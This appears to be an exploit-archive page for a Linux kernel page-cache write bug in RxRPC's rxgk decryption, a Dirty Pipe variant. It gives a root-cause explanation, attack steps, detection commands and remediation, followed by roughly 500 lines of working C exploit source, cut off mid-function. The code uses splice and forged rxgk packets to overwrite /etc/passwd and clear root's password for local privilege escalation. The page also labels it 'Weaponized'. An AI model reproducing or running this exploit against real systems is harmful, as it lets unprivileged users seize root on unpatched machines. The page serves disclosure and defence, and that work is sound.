PoC Archive PoC Archive
High N/A (reported as duplicate by kernel maintainers; patched on mainline) unpatched

DirtyDecrypt / DirtyCBC — rxgk Page-Cache Write (Dirty Pipe Variant)

by Aaron Esau / V12 security team (v12.sh) · 2026-05-18

Severity
High
CVE
N/A (reported as duplicate by kernel maintainers; patched on mainline)
Category
binary
Affected product
Linux kernel — net/rxrpc (rxgk_decrypt_skb)
Affected versions
Kernels with RxRPC + rxgk support prior to mainline patch (reported 2026-05-09)
Disclosed
2026-05-18
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-18
Last UpdatedN/A
Author / ResearcherAaron Esau / V12 security team (v12.sh)
CVE / AdvisoryN/A (reported as duplicate by kernel maintainers; patched on mainline)
Categorybinary
SeverityHigh
CVSS ScoreN/A
StatusWeaponized
TagsLPE, Linux kernel, page-cache, rxgk, RxRPC, COW, write-primitive, unprivileged, Dirty-Pipe-variant, splice, MSG_SPLICE_PAGES
Relatedpocs/binary/2026-05-14_linux-xfrm-rxrpc-lpe/

Affected Target

FieldValue
Software / SystemLinux kernel — net/rxrpc (rxgk_decrypt_skb)
Versions AffectedKernels with RxRPC + rxgk support prior to mainline patch (reported 2026-05-09)
Language / PlatformC, Linux x86-64 (unprivileged user)
Authentication RequiredNo
Network Access RequiredNo (local)

Summary

DirtyDecrypt (also called DirtyCBC) is a variant of the CopyFail / DirtyFrag / Fragnesia bug class. rxgk_decrypt_skb() in net/rxrpc/rxgk_common.h calls skb_to_sgvec() followed by crypto_krb5_decrypt() without first calling skb_cow_data(). The krb5enc AEAD template decrypts in-place before verifying the HMAC, so when skb frag pages are pagecache pages (spliced in via spliceMSG_SPLICE_PAGES → loopback), the decrypt corrupts the page cache. An unprivileged local attacker can use a sliding-window technique to write arbitrary bytes into the pagecache, rewriting /etc/passwd to clear the root password and escalate to root.


Vulnerability Details

Root Cause

rxgk_decrypt_skb() passes skb frag pages directly to crypto_krb5_decrypt() for in-place decryption without calling skb_cow_data() to ensure private copies of shared/pagecache pages. The AEAD decrypts in-place before HMAC verification, so failed (or deliberately crafted) packets corrupt the underlying pagecache pages. The same pattern also exists in rxkad_verify_packet_2.

Attack Vector

  1. Splice a target file (e.g. /etc/passwd) into an RxRPC loopback socket as the skb payload via MSG_SPLICE_PAGES.
  2. Fire crafted rxgk packets at successive offsets. Each round overwrites one 16-byte AES block in-place.
  3. The sliding-window technique exploits the fact that byte 0 of each AES output is uniformly random (~1/256 chance of the desired value), while bytes 1–15 from round N are overwritten by round N+1. This achieves byte-granularity writes at roughly 256 attempts per target byte.
  4. Target the root entry in /etc/passwd, zeroing the password hash field.
  5. Call su root — no password prompt.

Impact

Arbitrary page-cache write as an unprivileged local user, leading to local privilege escalation to root.


Environment / Lab Setup

OS:      Linux with RxRPC/rxgk kernel support (CONFIG_RXKAD, CONFIG_RXGK)
Attacker: unprivileged local user
Tools:   gcc, splice(2), AF_RXRPC sockets

Setup Steps

1
2
gcc -O2 -o poc poc.c
./poc

Proof of Concept

Step-by-Step Reproduction

  1. Compilegcc -O2 -o poc poc.c
  2. Run as unprivileged user./poc
  3. PoC rewrites /etc/passwd — root password field cleared via sliding-window pagecache write.
  4. Escalatesu root (no password required).

Exploit Code

See poc.c in this folder.

Expected Output

[*] targeting /etc/passwd offset 0
[*] byte 0 written after N attempts
...
[+] done — run: su root
uid=0(root) gid=0(root) groups=0(root)

Screenshots / Evidence


Detection & Indicators of Compromise

stat /etc/passwd

ss -x | grep rxrpc

dmesg | grep rxgk

Remediation

ActionDetail
PatchApply upstream mainline patch that adds skb_cow_data() before crypto_krb5_decrypt() in rxgk_decrypt_skb() and rxkad_verify_packet_2
WorkaroundDisable AF_RXRPC / CONFIG_RXKAD / CONFIG_RXGK if not needed; restrict unprivileged user namespaces (kernel.unprivileged_userns_clone=0)
Config HardeningEnsure /etc/passwd is monitored via file-integrity monitoring (AIDE, auditd -w /etc/passwd -p wa)

References


Notes

Auto-ingested from v12-pocs/dirtydecrypt on 2026-05-18.

Reported to kernel maintainers on 2026-05-09; confirmed duplicate. Patch landed on mainline. No CVE assigned because it was treated as a duplicate of an existing bug in the same rxgk/pagecache write family (CopyFail / DirtyFrag / Fragnesia). The identical pattern also exists in rxkad_verify_packet_2.

sha256(poc.c): 8054e424466ed2c353b94fb25643e17bef50b31be95038e1c700156357e2d74b

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * rxgk pagecache write — PoC for missing COW guard in rxgk_decrypt_skb()
 *
 * net/rxrpc/rxgk_common.h: rxgk_decrypt_skb() does skb_to_sgvec() then
 * crypto_krb5_decrypt() with no skb_cow_data().  The krb5enc AEAD template
 * (crypto/krb5enc.c) decrypts in-place BEFORE verifying the HMAC.  When skb
 * frag pages are pagecache pages (via splice → MSG_SPLICE_PAGES → loopback),
 * the in-place decrypt corrupts the page cache.
 *
 * The same pattern exists in rxkad (rxkad_verify_packet_2).
 *
 * Exploitation uses a sliding-window technique to write arbitrary bytes to the
 * pagecache one at a time.  Each round fires a spliced rxgk packet at offset
 * S+i, corrupting a 16-byte AES block.  Byte[0] of the output is uniformly
 * random (1/256 chance of the target value).  Round i+1 at offset S+i+1
 * overwrites the 15 bytes of collateral from round i, but never touches the
 * byte set by round i.  This yields byte-granularity writes at ~256 fires per
 * byte.
 *
 * Attack: rewrite /etc/passwd root entry → empty password → su root → flag.
 *
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <time.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>

#ifdef __has_include
#  if __has_include(<linux/rxrpc.h>)
#    include <linux/if.h>
#    include <linux/rxrpc.h>
#    include <linux/keyctl.h>
#  else
#    define NEED_RXRPC_DEFS
#  endif
#else
#  include <linux/if.h>
#  include <linux/rxrpc.h>
#  include <linux/keyctl.h>
#endif

#ifndef AF_RXRPC
#define AF_RXRPC 33
#endif
#ifndef SOL_RXRPC
#define SOL_RXRPC 272
#endif

#ifdef NEED_RXRPC_DEFS
#define KEY_SPEC_PROCESS_KEYRING (-2)
#define RXRPC_SECURITY_KEY       1
#define RXRPC_MIN_SECURITY_LEVEL 4
#define RXRPC_SECURITY_ENCRYPT   2
#define RXRPC_USER_CALL_ID       1
struct sockaddr_rxrpc {
	unsigned short	srx_family;
	uint16_t	srx_service;
	uint16_t	transport_type;
	uint16_t	transport_len;
	union {
		unsigned short family;
		struct sockaddr_in sin;
		struct sockaddr_in6 sin6;
	} transport;
};
#endif

#define RXGK_SECURITY_INDEX 6
#define ENCTYPE_AES128_CTS  17
#define AES_KEY_LEN         16

struct rxrpc_wire_header {
	uint32_t epoch;
	uint32_t cid;
	uint32_t callNumber;
	uint32_t seq;
	uint32_t serial;
	uint8_t  type;
	uint8_t  flags;
	uint8_t  userStatus;
	uint8_t  securityIndex;
	uint16_t cksum;
	uint16_t serviceId;
} __attribute__((packed));

#define RXRPC_PACKET_TYPE_DATA      1
#define RXRPC_PACKET_TYPE_CHALLENGE 6
#define RXRPC_LAST_PACKET           0x04

#define LOG(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)

/* --- helpers --- */

static long key_add(const char *type, const char *desc,
		    const void *payload, size_t plen, int ringid)
{
	return syscall(SYS_add_key, type, desc, payload, plen, ringid);
}

static int write_proc(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0) return -1;
	int n = write(fd, buf, strlen(buf));
	close(fd);
	return n;
}

/* --- user/net namespace --- */

static void setup_ns(void)
{
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
		if (unshare(CLONE_NEWNET) < 0) {
			perror("unshare");
			exit(1);
		}
	} else {
		write_proc("/proc/self/setgroups", "deny");
		char map[64];
		snprintf(map, sizeof(map), "0 %u 1", uid);
		write_proc("/proc/self/uid_map", map);
		snprintf(map, sizeof(map), "0 %u 1", gid);
		write_proc("/proc/self/gid_map", map);
	}

	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s >= 0) {
		struct ifreq ifr = {};
		strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
		if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
			ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
			ioctl(s, SIOCSIFFLAGS, &ifr);
		}
		close(s);
	}
}

/* --- rxgk XDR token construction --- */

static void xdr_put32(uint8_t **pp, uint32_t val)
{
	uint32_t nv = htonl(val);
	memcpy(*pp, &nv, 4);
	*pp += 4;
}

static void xdr_put64(uint8_t **pp, uint64_t val)
{
	xdr_put32(pp, (uint32_t)(val >> 32));
	xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
}

static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
{
	xdr_put32(pp, (uint32_t)len);
	memcpy(*pp, data, len);
	*pp += len;
	size_t pad = (4 - (len & 3)) & 3;
	if (pad) { memset(*pp, 0, pad); *pp += pad; }
}

static int build_rxgk_token(uint8_t *out, size_t maxlen,
			    const uint8_t *base_key, size_t keylen)
{
	uint8_t *p = out;
	struct timespec ts;
	clock_gettime(CLOCK_REALTIME, &ts);
	uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
		       (uint64_t)ts.tv_nsec / 100ULL;

	xdr_put32(&p, 0);				/* flags */
	xdr_put_data(&p, "poc.test", 8);		/* cell */
	xdr_put32(&p, 1);				/* ntoken */

	uint8_t tok[512];
	uint8_t *tp = tok;
	xdr_put32(&tp, RXGK_SECURITY_INDEX);
	xdr_put64(&tp, now);				/* begintime */
	xdr_put64(&tp, now + 864000000000ULL);		/* endtime */
	xdr_put64(&tp, 2);				/* level = ENCRYPT */
	xdr_put64(&tp, 864000000000ULL);		/* lifetime */
	xdr_put64(&tp, 0);				/* bytelife */
	xdr_put64(&tp, ENCTYPE_AES128_CTS);		/* enctype */
	xdr_put_data(&tp, base_key, keylen);		/* key */
	uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
	xdr_put_data(&tp, ticket, sizeof(ticket));

	size_t toklen = (size_t)(tp - tok);
	xdr_put32(&p, (uint32_t)toklen);
	memcpy(p, tok, toklen);
	p += toklen;

	if ((size_t)(p - out) > maxlen) return -1;
	return (int)(p - out);
}

static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
{
	uint8_t buf[1024];
	int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
	if (n < 0) return -1;
	return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
}

/* --- AF_RXRPC client + fake UDP server --- */

static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
{
	int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
	if (fd < 0) return -1;

	if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
		       keyname, strlen(keyname)) < 0) {
		close(fd); return -1;
	}
	int min_level = RXRPC_SECURITY_ENCRYPT;
	if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
		       &min_level, sizeof(min_level)) < 0) {
		close(fd); return -1;
	}

	struct sockaddr_rxrpc srx = {0};
	srx.srx_family = AF_RXRPC;
	srx.srx_service = 0;
	srx.transport_type = SOCK_DGRAM;
	srx.transport_len = sizeof(struct sockaddr_in);
	srx.transport.sin.sin_family = AF_INET;
	srx.transport.sin.sin_port = htons(local_port);
	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);

	if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
		close(fd); return -1;
	}
	return fd;
}

static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
{
	char data[] = "TESTDATA";
	struct sockaddr_rxrpc srx = {0};
	srx.srx_family = AF_RXRPC;
	srx.srx_service = service_id;
	srx.transport_type = SOCK_DGRAM;
	srx.transport_len = sizeof(struct sockaddr_in);
	srx.transport.sin.sin_family = AF_INET;
	srx.transport.sin.sin_port = htons(srv_port);
	srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);

	char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
	struct msghdr msg = {0};
	msg.msg_name = &srx;
	msg.msg_namelen = sizeof(srx);
	struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = cmsg_buf;
	msg.msg_controllen = sizeof(cmsg_buf);
	struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_RXRPC;
	cmsg->cmsg_type = RXRPC_USER_CALL_ID;
	cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
	*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;

	int fl = fcntl(cli_fd, F_GETFL);
	fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
	ssize_t n = sendmsg(cli_fd, &msg, 0);
	fcntl(cli_fd, F_SETFL, fl);

	if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
		return -1;
	return 0;
}

static int setup_udp_server(uint16_t port)
{
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) return -1;
	struct sockaddr_in sa = {
		.sin_family = AF_INET,
		.sin_port = htons(port),
		.sin_addr.s_addr = htonl(0x7F000001),
	};
	int one = 1;
	setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		close(s); return -1;
	}
	return s;
}

static ssize_t udp_recv(int s, void *buf, size_t cap,
			struct sockaddr_in *from, int timeout_ms)
{
	struct pollfd pfd = { .fd = s, .events = POLLIN };
	if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
	socklen_t fl = from ? sizeof(*from) : 0;
	return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
}

/*
 * Fire one splice-based pagecache corruption at the given file offset.
 * Sets up an rxgk connection with the provided key, completes the handshake
 * via a fake UDP server on loopback, then splices pagecache pages into a
 * forged DATA packet.  The kernel's in-place decrypt corrupts the pagecache.
 *
 * Returns 1 on fire, -1 on setup error.
 */
static int trigger_seq = 0;

static int fire(int target_fd, off_t splice_off, size_t splice_len,
		const uint8_t *base_key, size_t keylen)
{
	char keyname[32];
	snprintf(keyname, sizeof(keyname), "rxgk%d", trigger_seq++);

	long key = add_rxgk_key(keyname, base_key, keylen);
	if (key < 0) return -1;

	/* Use high-entropy ports to avoid TIME_WAIT collisions */
	uint16_t port_S = 10000 + (rand() % 27000) * 2;
	uint16_t port_C = port_S + 1;
	int ret = -1;

	int udp_srv = setup_udp_server(port_S);
	if (udp_srv < 0) goto out_key;

	int cli = setup_rxrpc_client(port_C, keyname);
	if (cli < 0) goto out_udp;

	if (initiate_call(cli, port_S, 1234) < 0)
		goto out_cli;

	uint8_t pkt[2048];
	struct sockaddr_in cli_addr;
	ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
	if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;

	struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
	uint32_t epoch = ntohl(hdr->epoch);
	uint32_t cid   = ntohl(hdr->cid);
	uint32_t callN = ntohl(hdr->callNumber);
	uint16_t svc   = ntohs(hdr->serviceId);
	uint16_t cport = ntohs(cli_addr.sin_port);

	/* send challenge */
	{
		uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
		memset(ch, 0, sizeof(ch));
		struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
		c->epoch = htonl(epoch);
		c->cid = htonl(cid);
		c->serial = htonl(0x10000);
		c->type = RXRPC_PACKET_TYPE_CHALLENGE;
		c->securityIndex = RXGK_SECURITY_INDEX;
		c->serviceId = htons(svc);
		for (int i = 0; i < 20; i++)
			ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
		struct sockaddr_in to = { .sin_family = AF_INET,
			.sin_port = htons(cport),
			.sin_addr.s_addr = htonl(0x7F000001) };
		sendto(udp_srv, ch, sizeof(ch), 0,
		       (struct sockaddr *)&to, sizeof(to));
	}

	/* drain response(s) */
	for (int i = 0; i < 3; i++) {
		struct sockaddr_in src;
		if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
	}

	/* forge DATA packet: wire header from userspace, payload from pagecache */
	struct rxrpc_wire_header mal = {0};
	mal.epoch = htonl(epoch);
	mal.cid = htonl(cid);
	mal.callNumber = htonl(callN);
	mal.seq = htonl(1);
	mal.serial = htonl(0x42000);
	mal.type = RXRPC_PACKET_TYPE_DATA;
	mal.flags = RXRPC_LAST_PACKET;
	mal.securityIndex = RXGK_SECURITY_INDEX;
	mal.serviceId = htons(svc);

	struct sockaddr_in dst = { .sin_family = AF_INET,
		.sin_port = htons(cport),
		.sin_addr.s_addr = htonl(0x7F000001) };
	if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
		goto out_cli;

	int p[2];
	if (pipe(p) < 0) goto out_cli;
	struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
	if (vmsplice(p[1], &viv, 1, 0) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	loff_t off = splice_off;
	if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
		{ close(p[0]); close(p[1]); goto out_cli; }
	close(p[0]); close(p[1]);

	usleep(1000);

	/* drain the error from the client socket (HMAC check fails as expected) */
	int fl = fcntl(cli, F_GETFL);
	fcntl(cli, F_SETFL, fl | O_NONBLOCK);
	for (int i = 0; i < 2; i++) {
		char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
		struct msghdr m = {0};
		struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
		m.msg_name = &srx; m.msg_namelen = sizeof(srx);
		m.msg_iov = &iv; m.msg_iovlen = 1;
		m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
		recvmsg(cli, &m, 0);
	}
	ret = 1;

out_cli:
	close(cli);
out_udp:
	close(udp_srv);
out_key:
	syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
	syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
	return ret;
}

/* --- sliding window write with progress display --- */

static void progress(int done, int total, int fires)
{
	int width = 40;
	int filled = total ? (done * width / total) : 0;
	int pct = total ? (done * 100 / total) : 0;
	fprintf(stderr, "\r    [");
	for (int j = 0; j < width; j++)
		fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
	fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
	if (done == total) fputc('\n', stderr);
	fflush(stderr);
}

static int pagecache_write(int rfd, void *map, off_t base,
			  const uint8_t *target, int len, off_t file_size,
			  const char *label)
{
	uint8_t key[16];
	uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
	struct timespec t0;
	clock_gettime(CLOCK_MONOTONIC, &t0);
	int total = 0;

	int max_off = (int)(file_size - 28);
	if (base + len - 1 > max_off)
		len = max_off - (int)base + 1;

	/* Find first byte that differs. We must write everything from there
	 * onward, because each round's 15-byte damage zone corrupts the next
	 * bytes even if they originally matched. */
	int start = 0;
	for (int i = 0; i < len; i++) {
		uint8_t cur;
		pread(rfd, &cur, 1, base + i);
		if (cur != target[i]) { start = i; break; }
		if (i == len - 1) {
			LOG("pagecache already matches, skipping write");
			return 0;
		}
	}
	int need = len - start;

	LOG("writing shellcode to %s (%d bytes from offset %d)",
	    label, need, (int)base + start);
	progress(0, need, 0);

	for (int i = start; i < len; i++) {
		off_t off = base + i;
		uint8_t want = target[i];
Showing 500 of 648 lines View full file on GitHub →